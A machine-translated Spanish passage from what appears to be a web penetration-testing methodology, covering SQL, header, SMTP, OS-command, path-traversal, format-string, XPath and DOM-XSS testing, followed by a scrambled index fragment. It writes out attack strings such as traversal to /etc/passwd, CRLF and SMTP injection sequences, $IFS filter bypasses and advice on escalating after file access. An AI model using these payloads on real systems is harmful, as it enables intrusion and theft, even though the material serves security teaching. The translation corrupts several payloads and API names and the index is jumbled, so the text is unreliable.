opción Enviar a intruso. Luego, inicie inmediatamente el ataque dentro de Intruder utilizando
la configuración de ataque existente. De esta forma, puede iniciar una gran cantidad de
pruebas simultáneamente en ventanas separadas y revisar manualmente los resultados a
medida que cada prueba completa su trabajo.
7.1.11 Si sus ejercicios de mapeo identificaron canales de entrada fuera de banda mediante los cuales
la entrada controlable por el usuario puede introducirse en el procesamiento de la aplicación,
debe realizar un ejercicio de fuzzing similar en estos canales de entrada. Envíe varios datos
elaborados diseñados para desencadenar vulnerabilidades comunes cuando se procesan
dentro de la aplicación web. Dependiendo de la naturaleza del canal de entrada, es posible
que deba crear un script personalizado u otro arnés para este fin.
7.2.3 Si enviar una comilla simple en el parámetro provoca un error u otro comportamiento anómalo,
envíe dos comillas simples. Si esta entrada hace que desaparezca el error o el comportamiento
anómalo, es probable que la aplicación sea vulnerable a la inyección SQL.
7.2.4 Intente usar funciones comunes de concatenador de cadenas SQL para construir
una cadena que sea equivalente a alguna entrada benigna. Si esto provoca la
misma respuesta que la entrada benigna original, es probable que la aplicación sea
vulnerable. Por ejemplo, si la entrada original es la expresión FOO, puede realizar
esta prueba utilizando los siguientes elementos (en el tercer ejemplo, tenga en
cuenta el espacio entre las dos comillas):
'||'FOO
'+'FOO
' 'FOO
Machine Translated by Google
Como siempre, asegúrese de codificar en URL los caracteres como + y el espacio que
tienen un significado especial dentro de las solicitudes HTTP.
7.2.5 Si la entrada original es numérica, intente usar una expresión matemática que sea equivalente
al valor original. Por ejemplo, si el valor original era 2, intente enviar 1+1 o 3–1. Si la
aplicación responde de la misma manera, puede ser vulnerable, especialmente si el valor
de la expresión numérica tiene un efecto sistemático en el comportamiento de la aplicación.
7.2.6 Si la prueba anterior tiene éxito, puede obtener más seguridad de que se trata de una
vulnerabilidad de inyección de SQL mediante el uso de expresiones matemáticas específi
cas de SQL para construir un valor particular. Si la lógica de la aplicación se puede
manipular sistemáticamente de esta manera, es casi seguro que es vulnerable a la
inyección SQL. Por ejemplo, los dos elementos siguientes son equivalentes al número 2:
67-ASCII('A')
51-ASCII(1)
7.2.7 Si cualquiera de los casos de prueba fuzz que utilizan el comando waitfor resultó en un
retraso de tiempo anormal antes de que la aplicación respondiera, este es un fuerte
indicador de que el tipo de base de datos es MS-SQL y la aplicación es vulnerable a la
inyección de SQL. Repita la prueba manualmente, especificando diferentes valores en el
parámetro waitfor , y determine si el tiempo de respuesta varía sistemáticamente con este
valor. Tenga en cuenta que la carga útil de su ataque puede insertarse en más de una
consulta SQL, por lo que el tiempo de demora observado puede ser un múltiplo fijo del
valor especificado.
WHERE para cambiar la lógica de la aplicación (por ejemplo, inyectando o 1=1-- para
omitir un inicio de sesión). n Use el operador UNION para inyectar una consulta
SELECT arbitraria y combine los resultados con los de la consulta original de la aplicación.
n Identifique el tipo de base de datos utilizando la sintaxis SQL específica de la base
error ODBC en sus respuestas, aproveche estos para enumerar la estructura de la base
de datos y recuperar datos arbitrarios.
7.3.1.2 Para cada uno de estos casos, revise la respuesta de la aplicación para encontrar la
ubicación de la entrada suministrada. Si esto aparece dentro del cuerpo de la respuesta,
pruebe las vulnerabilidades XSS. Si la entrada aparece dentro de cualquier encabezado
HTTP, pruebe las vulnerabilidades de inyección de encabezado. Si se usa en el
encabezado Ubicación de una respuesta 302, o si se usa para especificar una
redirección de alguna otra manera, pruebe las vulnerabilidades de redirección. Tenga
en cuenta que la misma entrada puede copiarse en varias ubicaciones dentro de la
respuesta y que puede estar presente más de un tipo de vulnerabilidad reflejada.
7.3.2.1 Para cada lugar dentro del cuerpo de la respuesta donde aparece el valor del parámetro
de solicitud, revise el HTML que lo rodea para identificar posibles formas de diseñar su
entrada para provocar la ejecución de JavaScript arbitrario.
Por ejemplo, puede inyectar etiquetas <script> , inyectar en un script existente o
colocar un valor creado en un atributo de etiqueta.
7.3.2.2 Use los diferentes métodos para vencer a los fi ltros basados en firmas descritos en el
Capítulo 12 como referencia para las diferentes formas en que la entrada manipulada
puede usarse para provocar la ejecución de JavaScript.
7.3.2.4 Si encuentra que la aplicación está bloqueando la entrada que contiene ciertos caracteres
o expresiones que necesita usar, o está codificando en HTML ciertos caracteres, pruebe
las diversas omisiones de filtro descritas en el Capítulo 12.
7.3.2.5 Si encuentra una vulnerabilidad XSS en una solicitud POST , aún puede explotarse
a través de un sitio web malicioso que contenga un formulario con los parámetros
requeridos y un script para enviar el formulario automáticamente. No obstante, se
encuentra disponible una gama más amplia de mecanismos de entrega de ataques
si el exploit se puede entregar a través de una solicitud GET . Intente enviar los
mismos parámetros en una solicitud GET y vea si el ataque aún tiene éxito. Puede
usar la acción Cambiar método de solicitud en Burp Proxy para convertir la solicitud
por usted.
7.3.3.1 Para cada lugar dentro de los encabezados de respuesta donde aparece el
valor del parámetro de solicitud, verifique si la aplicación acepta datos que
contengan caracteres de retorno de carro (%0d) y salto de línea (%0a)
codificados en URL y si estos son volvió sin desinfectar en su respuesta.
(Tenga en cuenta que está buscando los caracteres de nueva línea reales
para que aparezcan en la respuesta del servidor, no sus equivalentes codificados en URL).
7.3.3.2 Si aparece una nueva línea en los encabezados de respuesta del servidor cuando
proporciona una entrada manipulada, la aplicación es vulnerable a la inyección de
encabezado HTTP . Esto se puede aprovechar para realizar varios ataques, como se
describe en el Capítulo 13.
7.3.3.3 Si descubre que solo se devuelve uno de los dos caracteres de nueva línea en las
respuestas del servidor, aún es posible crear un exploit que funcione, según el contexto
y el navegador del usuario objetivo.
7.3.3.4 Si encuentra que la aplicación bloquea la entrada que contiene caracteres de nueva
línea , o desinfecta esos caracteres en su respuesta, pruebe los siguientes elementos
de entrada para probar la eficacia del filtro:
foo%00%0d%0abar
foo%250d%250abar
foo%%0d0d%%0a0abar
una redirección arbitraria a un sitio web externo. Si es así, este comportamiento puede
explotarse para dar credibilidad a un ataque de tipo phishing.
7.3.4.2 Si la aplicación normalmente transmite una URL absoluta como valor del parámetro, modifique
el nombre de dominio dentro de la URL y pruebe si la aplicación lo redirige a un dominio
diferente.
7.3.4.3 Si el parámetro normalmente contiene una URL relativa, modifíquela en una URL absoluta para
un dominio diferente y pruebe si la aplicación lo redirige a este dominio.
7.3.5.1 Si la aplicación almacena elementos de entrada proporcionada por el usuario y luego los
muestra en la pantalla, después de haber analizado toda la aplicación, es posible que observe
que algunas de sus cadenas de ataque se devuelven en respuesta a solicitudes que no
contenían esas cadenas. Tenga en cuenta cualquier instancia en la que esto ocurra e
identifique el punto de entrada original para los datos que se almacenan.
7.3.5.2 En algunos casos, los datos proporcionados por el usuario se almacenan correctamente solo
si completa un proceso de varias etapas, lo que no ocurre en las pruebas de fuzz básicas. Si
los ejercicios de mapeo de su aplicación identificaron alguna funcionalidad de este tipo, recorra
manualmente el proceso relevante y pruebe los datos almacenados en busca de
vulnerabilidades XSS.
7.3.5.3 Si tiene suficiente acceso para probarlo, revise detenidamente cualquier funcionalidad
administrativa en la que los datos que se originan en los usuarios con pocos privilegios
finalmente se muestran en pantalla en la sesión de los usuarios con más privilegios.
Cualquier vulnerabilidad XSS almacenada en una funcionalidad de este tipo suele conducir
directamente a una escalada de privilegios.
7.3.5.4 Probar cada instancia donde los datos proporcionados por el usuario se almacenan y
muestran a los usuarios. Pruebe estos para XSS y los otros ataques de inyección de
respuesta descritos anteriormente.
7.3.5.5 Si encuentra una vulnerabilidad en la que la entrada proporcionada por un usuario se muestra a
otros usuarios, determine la carga de ataque más efectiva con la que puede lograr sus
objetivos, como el secuestro de sesión o la falsificación de solicitudes. Si los datos
almacenados se muestran solo al mismo usuario que los originó, intente encontrar formas de
encadenar cualquier otra vulnerabilidad que haya descubierto (como controles de acceso
rotos) para inyectar un ataque en las sesiones de otros usuarios.
Machine Translated by Google
7.4.4 Si encuentra una manera de inyectar comandos y recuperar los resultados, debe
determinar su nivel de privilegios (utilizando whoami o un comando similar, o
intentando escribir un archivo inofensivo en un directorio protegido). Luego , puede
buscar escalar privilegios, obtener acceso de puerta trasera a datos confidenciales
de aplicaciones o atacar otros hosts a los que se puede acceder desde el servidor
comprometido.
Machine Translated by Google
7.4.5 Si cree que su entrada se está pasando a un comando del sistema operativo de algún
tipo, pero las cadenas de ataque enumeradas no tienen éxito, vea si puede usar el
carácter < o > para dirigir el contenido de un archivo a la entrada del comando o para
dirigir la salida del comando a un archivo. Esto puede permitirle leer o escribir
contenidos de archivos arbitrarios. Si sabe o puede adivinar el comando real que se
está ejecutando, intente inyectar parámetros de línea de comando asociados con
ese comando para modificar su comportamiento de manera útil (por ejemplo,
especificando un archivo de salida dentro de la raíz web).
7.4.6 Si encuentra que la aplicación escapa de ciertos caracteres clave, necesita
realizar un ataque de inyección de comando, intente colocar el carácter de
escape antes de cada carácter. Si la aplicación no escapa al propio carácter
de escape, esto generalmente conduce a una omisión de esta medida defensiva.
Si encuentra que los caracteres de espacio en blanco están bloqueados o
desinfectados, puede usar $IFS en lugar de espacios en plataformas basadas en UNIX.
7.5.5 La aplicación puede estar verificando la extensión del archivo que se solicita y permitiendo el
acceso solo a ciertos tipos de archivos. Intente usar un byte nulo o un ataque de nueva línea
junto con una extensión de archivo conocida y aceptada en un intento de eludir el fi ltro. Por
ejemplo:
../../../../../boot.ini%00.jpg ../../../../../etc/
passwd%0a.jpg
7.5.6 La aplicación puede estar comprobando que la ruta del archivo proporcionado por el usuario
comience con un directorio o raíz en particular. Intente agregar secuencias transversales
después de una raíz aceptada conocida en un intento de eludir el fi ltro. Por ejemplo:
/imágenes/../../../../../../../etc/contraseña
7.5.7 Si estos ataques no tienen éxito, intente combinar varias omisiones, trabajando inicialmente
completamente dentro del directorio base en un intento de comprender los fi ltros en el lugar
y las formas en que la aplicación maneja entradas inesperadas.
7.5.8 Si logra obtener acceso de lectura a archivos arbitrarios en el servidor, intente recuperar
cualquiera de los siguientes archivos, lo que puede permitirle escalar su ataque: Archivos de
contraseña para el sistema operativo y la aplicación Servidor y aplicación archivos de
datos . n Fuentes de datos utilizadas por la aplicación, como archivos de bases de datos MySQL.
o archivos XML
n El código fuente de las páginas ejecutables del servidor, para realizar una revisión del código
en busca de errores .
7.5.9 Si logra obtener acceso de escritura a archivos arbitrarios en el servidor, examine si alguno de los siguientes
ataques es factible para escalar su ataque: n Crear scripts en las carpetas de inicio de los usuarios n
Modificar archivos como in.ftpd para ejecutar comandos arbitrarios cuando
n Escribir scripts en un directorio web con permisos de ejecución y llamarlos desde su navegador
7.6.1 Para cada prueba de fuzz que haya realizado, revise los resultados de la cadena 111111 por sí sola (es
decir, no precedida por el resto de la cadena de prueba).
Puede identificarlos rápidamente en Burp Intruder haciendo Mayús y haciendo clic en el
encabezado de la cadena 111111 Grep para agrupar todos los resultados que contienen
esta cadena. Busque cualquiera que no tenga una marca en la columna Payload Grep.
Es probable que cualquier caso identificado sea vulnerable a la inyección de comandos
de secuencias de comandos.
7.6.2 Revise todos los casos de prueba que usaron cadenas de inyección de secuencias de comandos e
identifique cualquiera que contenga mensajes de error de secuencias de comandos que puedan indicar
que su entrada se está ejecutando pero causó un error. Es posible que sea necesario ajustarlos para
realizar correctamente la inyección de secuencias de comandos.
7.6.3 Si la aplicación parece ser vulnerable, verifíquelo inyectando más comandos específi cos para la plataforma
de secuencias de comandos en uso. Por ejemplo, puede usar cargas útiles de ataque similares a las
que se usan cuando se realiza una prueba de fuzzing para la inyección de comandos del sistema
operativo:
sistema('ping%20127.0.0.1')
7.7.1 Si recibió conexiones HTTP entrantes desde la infraestructura de la aplicación de destino durante su
fuzzing, es casi seguro que la aplicación es vulnerable a la inclusión remota de archivos. Repita las
pruebas relevantes de una manera de un solo subproceso y con limitación de tiempo para determinar
exactamente qué parámetros están causando que la aplicación emita las solicitudes HTTP.
7.7.2 Revise los resultados de los casos de prueba de inclusión de archivos e identifique cualquiera que haya
causado un retraso anómalo en la respuesta de la aplicación. En estos casos, puede ser que la
aplicación en sí misma sea vulnerable pero que las solicitudes HTTP resultantes se estén agotando
debido a los filtros a nivel de red.
Machine Translated by Google
Además de los ataques basados en entrada dirigidos en el paso anterior, una variedad de
vulnerabilidades normalmente se manifiestan solo en tipos particulares de funcionalidad. Antes
de continuar con los pasos individuales descritos en esta sección, debe revisar su evaluación de
la superficie de ataque de la aplicación para identificar funciones específicas de la aplicación en
las que es probable que surjan estos defectos y centrar sus pruebas en ellos.
8.6. Inyección de
8.1. Inyección 8.2. Defectos 8.3. inyección 8.4. inyección 8.5. Inyección 8.7.
solicitud de
SMTP de código nativo de jabón LDAP XPath inyección XXE
back-end
<tucorreo>%0d%0aCc:<tucorreo>
<tucorreoelectrónico>%0aBcc:<tucorreoelectrónico>
<tucorreo>%0d%0aBcc:<tucorreo>
%0aDATA%0afoo%0a%2e%0aCORREO+DE:+<sucorreoelectrónico>%0aRCPT+TO:+<sucorreoelectrónico>
Machine Translated by Google
%0aDATOS%0aDe:+<sucorreoelectrónico>%0aPara:+<sucorreoelectrónico>%0aAsunto:+prueba%0afoo
%0a%2e%0a
%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aCORREO+DE:+<sucorreoelectrónico>%0d%0aRCPT
+A:+
<sucorreoelectrónico>%0d%0aDATA%0d%0aDe:+<sucorreoelectrónico>%0d%0aPara:
+<sucorreoelectrónico> %0d%0aAsunto:+prueba%0d%0afoo%0d%0a%2e%0d%0a
8.1.2 Revise los resultados para identificar cualquier mensaje de error que devuelva la aplicación.
Si estos parecen estar relacionados con algún problema en la función de correo
electrónico, investigue si necesita ajustar su entrada para explotar una vulnerabilidad.
8.1.3 Supervise la dirección de correo electrónico que especificó para ver si se reciben mensajes de
correo electrónico.
8.1.4 Revise detenidamente el formulario HTML que genera la solicitud correspondiente. Puede
contener pistas sobre el software del lado del servidor que se está utilizando. También puede
contener un campo oculto o deshabilitado que se utiliza para especificar la dirección Para del
correo electrónico, que puede modificar directamente.
8.2.1.1 Para cada elemento de datos objetivo, envíe un rango de cadenas largas con longitudes un poco
más largas que los tamaños de búfer comunes. Apunte a un elemento de datos a la vez para
maximizar la cobertura de las rutas de código en la aplicación.
Puede usar la fuente de carga útil de bloques de caracteres en Burp Intruder para generar
automáticamente cargas útiles de varios tamaños. Los siguientes tamaños de búfer son
adecuados para probar:
1100
4200
33000
8.2.1.2 Supervisar las respuestas de la aplicación para identificar cualquier anomalía. Es casi seguro
que un desbordamiento incontrolado provoque una excepción en la aplicación , aunque
diagnosticar la naturaleza del problema de forma remota puede ser difícil. Busque cualquiera
de las siguientes anomalías: n Un código de estado HTTP 500 o un mensaje de error, donde
n Un mensaje informativo que indica que se produjo una falla en algún componente de código
nativo externo
8.2.2.1 Cuando trabaje con componentes de código nativo, identifique cualquier dato basado en números
enteros, en particular los indicadores de longitud, que pueden usarse para desencadenar
vulnerabilidades de números enteros.
8.2.2.2 Dentro de cada elemento objetivo, envíe cargas útiles adecuadas diseñadas para desencadenar
cualquier vulnerabilidad. Para cada elemento de datos objetivo, envíe una serie de valores diferentes
a su vez, que representen casos límite para las versiones firmadas y sin firmar de diferentes tamaños
de enteros. For example: n 0x7f and 0x80 (127 and 128) n 0xff and 0x100 (255 and 256) n 0x7ffff
and 0x8000 (32767 and 32768) n 0xffff and 0x10000 (65535 and 65536) n 0x7fffffff and 0x80000000
8.2.3.1 Dirigiéndose a cada parámetro por turno, envíe cadenas que contengan secuencias largas de diferentes
especificadores de formato. Por ejemplo:
%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%1!n!%2!n!%3!n!%4!n!%5!n!%6!n!%7!n!%8!n!%9!n!%10!n! etc...
%1!s!%2!s!%3!s!%4!s!%5!s!%6!s!%7!s!%8!s!%9!s!%10!s! etc...
8.2.3.2 Monitoree las respuestas de la aplicación para eventos anómalos, como se describe en el paso 8.2.1.2.
Machine Translated by Google
8.3.3 Si el elemento que envía se vuelve a copiar en las respuestas de la solicitud, envíe los
dos valores siguientes a la vez. Si encuentra que cualquiera de los elementos se
devuelve como el otro, o simplemente como una prueba, puede estar seguro de que
su entrada se está insertando en un mensaje basado en XML.
prueba<foo/>
prueba<foo></foo>
8.3.4 Si la solicitud HTTP contiene varios parámetros que se pueden colocar en un mensaje
SOAP, intente insertar el carácter de comentario de apertura <!-- en un parámetro y el
carácter de comentario de cierre !--> en otro parámetro. Luego cámbielos (porque no
tiene forma de saber en qué orden aparecen los parámetros). Esto puede tener el
efecto de comentar una parte del mensaje SOAP del servidor, lo que puede cambiar la
lógica de la aplicación o generar una condición de error diferente que puede divulgar
información.
8.4.4 Intente ingresar varias expresiones diseñadas para interferir con diferentes tipos
de consultas, y vea si esto le permite influir en los resultados que se obtienen.
Machine Translated by Google
8.4.5 Intente agregar atributos adicionales al final de su entrada, usando comas para separar
cada elemento. Pruebe cada atributo a su vez. Un error indica que el atributo no es
válido en el contexto actual. Los siguientes atributos se usan comúnmente en directorios
consultados por LDAP:
cn
C
correo
nombre de pila
o
UNED
corriente continua
yo
fluido
clase de objeto
direccion postal
dn
sn
1 o contar(padre::*[posición()=1])=0 1 o
contar(padre::*[posición()=1])>0
subcadena(nombre(padre::*[posicion()=1]),1,1)='a'
Machine Translated by Google
8.5.4 Habiendo extraído el nombre del nodo padre, use una serie de condiciones con el
siguiente formulario para extraer todos los datos dentro del árbol XML:
substring(//nombredenodopadre[posición()=1]/hijo::nodo()[posición()=1]
/texto(),1,1)='a'
9.2.4 Si un proceso de múltiples etapas involucra a diferentes usuarios que realizan operaciones
en el mismo conjunto de datos, intente tomar cada parámetro enviado por un usuario y
enviarlo como otro. Si son aceptados y procesados como ese usuario, explore las
implicaciones de este comportamiento, como se describió anteriormente.
9.2.6 Cuando se accede a funciones de múltiples etapas fuera de secuencia, es común encontrar
una variedad de condiciones anómalas dentro de la aplicación, como variables con
valores nulos o no inicializados, estado parcialmente definido o inconsistente y otro
comportamiento impredecible. Busque mensajes de error interesantes y resultados de
depuración, que puede usar para comprender mejor el funcionamiento interno de la
aplicación y, por lo tanto, ajustar el ataque actual o uno diferente.
9.3.2 Para cada parámetro, elimine tanto el nombre como el valor del parámetro de la solicitud.
Supervise las respuestas de la aplicación para detectar cualquier divergencia en su
comportamiento y cualquier mensaje de error que arroje luz sobre la lógica que se está
ejecutando.
9.3.3 Si la solicitud que está manipulando es parte de un proceso de múltiples etapas, siga el
proceso hasta su finalización, ya que la aplicación puede almacenar datos enviados en
etapas anteriores dentro de la sesión y luego procesarlos en una etapa posterior.
Machine Translated by Google
9.4.1 Indague cómo la aplicación maneja las transiciones entre diferentes tipos de confianza
del usuario. Busque la funcionalidad en la que un usuario con un estado de confianza
determinado pueda acumular una cantidad de estado en relación con su identidad.
Por ejemplo, un usuario anónimo podría proporcionar información personal durante
el registro automático o continuar con parte de un proceso de recuperación de cuenta
diseñado para establecer su identidad.
9.4.2 Trate de encontrar formas de hacer transiciones incorrectas a través de los límites de
confianza acumulando estado relevante en un área y luego cambiando a un área
diferente de una manera que normalmente no ocurriría. Por ejemplo, después de
haber completado parte de un proceso de recuperación de cuenta, intente cambiar
a una página específi ca del usuario autenticado. Pruebe si la aplicación le asigna
un nivel de confianza inapropiado cuando realiza la transición de esta manera.
9.4.3 Trate de determinar si puede aprovechar alguna función de mayor privilegio directa o
indirectamente para acceder o inferir información.
9.5.2 Examine si puede usar una serie de transacciones sucesivas para generar un estado
que pueda explotar para un propósito útil. Por ejemplo, es posible que pueda realizar
varias transferencias de bajo valor entre cuentas para acumular un gran saldo que la
lógica de la aplicación pretendía evitar.
n ¿Pueden los clientes acceder a archivos, datos y otros recursos a los que no
necesitan acceder legítimamente? n ¿Pueden los clientes obtener un shell
interactivo dentro del entorno de hospedaje?
ment y ejecutar comandos arbitrarios?
10.1.2 Si se utiliza una aplicación patentada para permitir que los clientes configuren y
personalicen un entorno compartido, considere apuntar a esta aplicación como una
forma de comprometer el propio entorno y las aplicaciones individuales que se
ejecutan en él.
10.1.3 Si puede lograr la ejecución de comandos, la inyección SQL o el acceso arbitrario a
archivos dentro de una aplicación, investigue detenidamente si esto proporciona
alguna forma de escalar su ataque para apuntar a otras aplicaciones.
10.2.2 Si se utiliza una base de datos común dentro de cualquier tipo de entorno compartido,
realice una auditoría integral de la configuración de la base de datos, el nivel de parche,
la estructura de la tabla y los permisos mediante una herramienta de exploración de
bases de datos como NGSSquirrel. Cualquier defecto dentro del modelo de seguridad de
la base de datos puede proporcionar una forma de escalar un ataque desde una aplicación a otra.
11.1.1 Revise los resultados de sus ejercicios de mapeo de aplicaciones para identificar el servidor
web y otras tecnologías en uso que pueden contener interfaces administrativas accesibles.
11.1.2 Realice un escaneo de puertos del servidor web para identificar las interfaces administrativas
que se ejecutan en un puerto diferente al de la aplicación de destino principal.
11.1.3 Para cualquier interfaz identificada, consulte la documentación del fabricante y las listas de
contraseñas predeterminadas comunes para obtener las credenciales predeterminadas.
11.1.4 Si las credenciales predeterminadas no funcionan, siga los pasos enumerados en la sección 4
para intentar adivinar las credenciales válidas.
11.1.5 Si obtiene acceso a una interfaz administrativa, revise la funcionalidad disponible y determine
si se puede usar para comprometer aún más el host y atacar la aplicación principal.
Machine Translated by Google
11.2.1 Revise los resultados de su escaneo Nikto (paso 1.4.1) para identificar cualquier
contenido predeterminado que pueda estar presente en el servidor pero que no sea
parte integral de la aplicación.
11.3.2 Pruebe cada método informado manualmente para confi rmar si de hecho puede ser
usado.
11.3.3 Si encuentra que algunos métodos WebDAV están habilitados, use un cliente habilitado para
WebDAV para una mayor investigación, como Microsoft FrontPage o la opción Abrir como
carpeta web en Internet Explorer.
11.5.2 Compare las respuestas a estas solicitudes. Un resultado común es que se obtienen
listados de directorios cuando se usa la dirección IP del servidor en el encabezado del
Host . También puede encontrar que se puede acceder a diferentes contenidos predeterminados.
11.6.3 Si la aplicación fue desarrollada por un tercero, investigue si se envía con su propio servidor
web (a menudo, un servidor de código abierto). Si es así, investigue esto en busca de
vulnerabilidades. Tenga en cuenta que, en este caso, es posible que se haya modificado
el banner estándar del servidor.
11.6.4 Si es posible, considere realizar una instalación local del software que está atacando y
realice sus propias pruebas para encontrar nuevas vulnerabilidades que no se hayan
descubierto o que no hayan circulado ampliamente.
11.7.2 Si se puede enviar una variable que se devuelve en una respuesta del servidor, envíe un
rango de cadenas fuzz y variantes codificadas para identificar el comportamiento de las
defensas de la aplicación ante la entrada del usuario.
11.7.3 Confirme este comportamiento realizando los mismos ataques a las variables dentro de la
aplicación.
11.7.4 Para todas las cadenas y solicitudes de fuzzing, use cadenas de carga útil que es poco
probable que existan en una base de datos de firmas estándar. Aunque dando ejemplos de
Machine Translated by Google
11.7.6 En ASP.NET, también intente enviar el parámetro como una cookie. La API
Request.Params[“foo”] recuperará el valor de una cookie llamada foo si el parámetro
foo no se encuentra en la cadena de consulta o en el cuerpo del mensaje.
11.7.7 Revise todos los demás métodos para introducir la entrada del usuario proporcionados en
el Capítulo 4, eligiendo cualquiera que no esté protegido.
11.7.8 Determinar las ubicaciones donde la entrada del usuario se envía (o se puede enviar) en
un formato no estándar, como serialización o codificación. Si no hay ninguno disponible,
construya la cadena de ataque por concatenación y/o expandiéndola a través de
múltiples variables. (Tenga en cuenta que si el objetivo es ASP.NET, puede usar HPP
para concatenar el ataque usando múltiples especificaciones de la misma variable).
12 cheques varios
12.1.1 Realice una breve revisión del código de cada fragmento de JavaScript recibido de la
aplicación. Identifique cualquier vulnerabilidad de redirección o XSS que pueda
desencadenarse mediante el uso de una URL manipulada para introducir datos
maliciosos en el DOM de la página correspondiente. Incluir todos los archivos JavaScript independientes
Machine Translated by Google
documento.ubicación
documento.URL
documento.URLUsincodificar
documento.referente
ventana.ubicación
12.1.3 Rastree los datos relevantes a través del código para identificar qué acciones se realizan con él.
Si los datos (o una forma manipulada de los mismos) se pasan a una de las siguientes API, la
aplicación puede ser vulnerable a XSS:
documento.escribir()
documento.writeln()
documento.cuerpo.innerHtml
eval()
ventana.execScript()
ventana.setInterval()
ventana.setTimeout()
12.1.4 Si los datos se pasan a una de las siguientes API, la aplicación puede
ser vulnerable a un ataque de redirección:
documento.ubicación
documento.URL
documento.open()
ventana.ubicación.href
ventana.navegar()
ventana.abrir()
12.2.2 Si se establece una cookie persistente que contiene datos confidenciales, un atacante local puede
capturar estos datos. Incluso si los datos están encriptados, un atacante que los capture podrá
volver a enviar la cookie a la aplicación y obtener acceso a cualquier dato o funcionalidad que
esto permita.
o dentro de metaetiquetas HTML), la página en cuestión puede ser almacenada en caché por uno o más
navegadores:
Caduca: 0
Control de caché: sin caché
Pragma: sin caché
12.2.4 Identifique cualquier instancia dentro de la aplicación en la que se transmitan datos confidenciales a través
de un parámetro de URL. Si existe algún caso, examine el historial del navegador para verificar que estos
datos se han almacenado allí.
12.2.5 Para todos los formularios que se utilizan para capturar datos confidenciales del usuario (como detalles de la
tarjeta de crédito), revise la fuente HTML del formulario. Si el atributo autocompletar=desactivado no está
establecido, ya sea dentro de la etiqueta del formulario o la etiqueta del campo de entrada individual, los
datos ingresados se almacenan en los navegadores que admiten la función de autocompletar, siempre
que el usuario no haya deshabilitado esta función.
12.2.6.1 Verifique los objetos locales de Flash utilizando el complemento BetterPrivacy para Firefox.
12.3.2 Si se admiten cifrados y protocolos débiles u obsoletos, un atacante posicionado adecuadamente puede
realizar un ataque para degradar o descifrar las comunicaciones SSL de un usuario de la aplicación,
obteniendo acceso a sus datos confidenciales.
12.3.3 Algunos servidores web anuncian ciertos cifrados y protocolos débiles como admitidos, pero se niegan a
completar un protocolo de enlace si un cliente los solicita. Esto puede dar lugar a falsos positivos cuando
utiliza la herramienta THCSSLCheck. Puede usar el navegador Opera para intentar realizar un apretón
de manos completo usando protocolos débiles específicos para confi rmar si realmente se pueden usar
para acceder a la aplicación.
desde cualquier otro sitio se puede realizar interacción bidireccional, cabalgando sobre
las sesiones de los usuarios de la aplicación. Esto permitiría que cualquier otro dominio
recupere todos los datos y realice cualquier acción del usuario.
12.4.2 Busque el archivo /clientaccesspolicy.xml . De forma similar a Flash, si la
configuración <cross-domain-access> es demasiado permisiva, otros sitios
pueden realizar una interacción bidireccional con el sitio que se está evaluando.
12.4.3 Pruebe el manejo de una aplicación de solicitudes entre dominios utilizando XMLHttpRequest
agregando un encabezado de origen que especifique un dominio diferente y examinando
los encabezados de control de acceso que se devuelven.
Las implicaciones de seguridad de permitir el acceso bidireccional desde cualquier
dominio, o desde otros dominios especificados, son las mismas que las descritas para la
política de dominios cruzados de Flash.
13.1 En todas sus pruebas de la aplicación de destino, controle sus respuestas en busca de
mensajes de error que puedan contener información útil sobre la causa del error, las
tecnologías en uso y la estructura interna y la funcionalidad de la aplicación.
13.5 Si recibe mensajes de error con seguimientos de pila que contienen los nombres de la
biblioteca y los componentes de código de terceros, busque estos nombres en ambos
tipos de motores de búsqueda.
Machine Translated by Google
Índice
Absinthe, 322 URL de confianza en arquitectura por niveles, programática, 282 basada
649 controles de acceso en referencia, 266 basada
absolutas, bloqueo de vulnerabilidades de
redirección abierta, 544–545 prefijo, 545– en roles, 282 seguridad,
546 enfoque de “aceptar bien conocido”, prueba de cuenta, 267–270 278–283 mejores prácticas,
Métodos API, 276–277 279–280 enfoque de componente
entrada, 24
Métodos HTTP, 278 acceso central,
limitado, 273–276 función 280
Atacantes de ASP, 658–660 277 mapeo de aplicaciones, 268–269 capas, 280–283 trampas,
Base de datos de métodos de la atacantes, 266–278 tipos, 258–260 nombres 278–279 recursos estáticos,
API ASP.NET, 721 archivo, de usuario y contraseñas, 275–276 263–264 prueba de cuenta, 277
720 ASP y cliente, 665–666 componentes de back-end, 357 rotos , 7, funcionalidad desprotegida,
base de datos 274 dependiente del contexto, 258 métodos API, 260–261 vertical, 258
declarativo, 282–283 defectuoso, vulnerabilidades, 258–266, 276 fallas
Métodos de la API de ASP.NET, 721 257 discrecional, 282 fallas, 284 metodología de lógica de aplicación, 411
de hackers acceso inseguro, 823 acceso
métodos de la API de Java, 714–715
métodos de la API del lenguaje Perl, limitado, 822–823 cuentas múltiples, 822
737–738 requisitos, 821 horizontal, 258 basado en Acceso-Control-Permitir
PHP API métodos, 729–730 manejo de identificadores funciones, 261–262 Encabezados de origen, URL de
activación de cuenta 528–529, suspensión
mecanismos de defensa, 18–21 autenticación,
18–19 control, 20–21 gestión de de cuenta 184, prueba de cuenta 197–
base de datos, 729–730 varias etapas, 262–263 pruebas, 271–273 Burp Suite, 137
853
Machine Translated by Google
mecanismos de defensa que manejan a los Acceso a base de función de inicio de sesión, 426–
atacantes, alertas, 33–34 datos en lenguaje Perl, 737–738 427 condiciones de carrera, 427
Ajax ejecución de código dinámico, 738 acceso naturaleza de, 406 función de
HTML5, 487 XSS a archivos, 737 cambio de contraseña, 409–410
almacenado en archivos cargados a Ejecución de comandos del SO, 738
través de, 486–487 funcionalidad potencialmente peligrosa, 736–739 procediendo a pagar,
web, 62–63, 384 Alcon, Wade, 565 alertas, 410–411
33–34 Allaire JRun, 690–691 allow_url_include, enchufes, 739 mundo real, 406–407 rodar
729 AMF. Ver formato de mensaje de acción Redirección de URL, 738 su propio seguro, 412–413 función de
carácter ampersand, función por lotes, 360– PHP búsqueda, 429 abuso, 422–424
361, 363 Anley, Chris, 218, 322, 634 alertas acceso a base de datos, 729–730 seguridad, 428 gestión de sesión, 429
de eventos anómalos, 33 tokens anti-CSRF, ejecución de código dinámico, 730– metacaracteres de shell, 419 código
508–509, 516–517 anulación de XSS, 731 fuente, 428
509–510 anti-XSS fi ltros, 452 IE, 748 acceso a archivos, 727–729
Aplicación AOL AIM Enterprise Gateway, Ejecución de comandos del SO, 731
McDonald & Schuh), 634 ASP.NET ViewState, 127 ASP, 658– 663 almacenadas Pasos XSS, 438–439
código ASCII, 67 665 arquitecturas en niveles, 648–
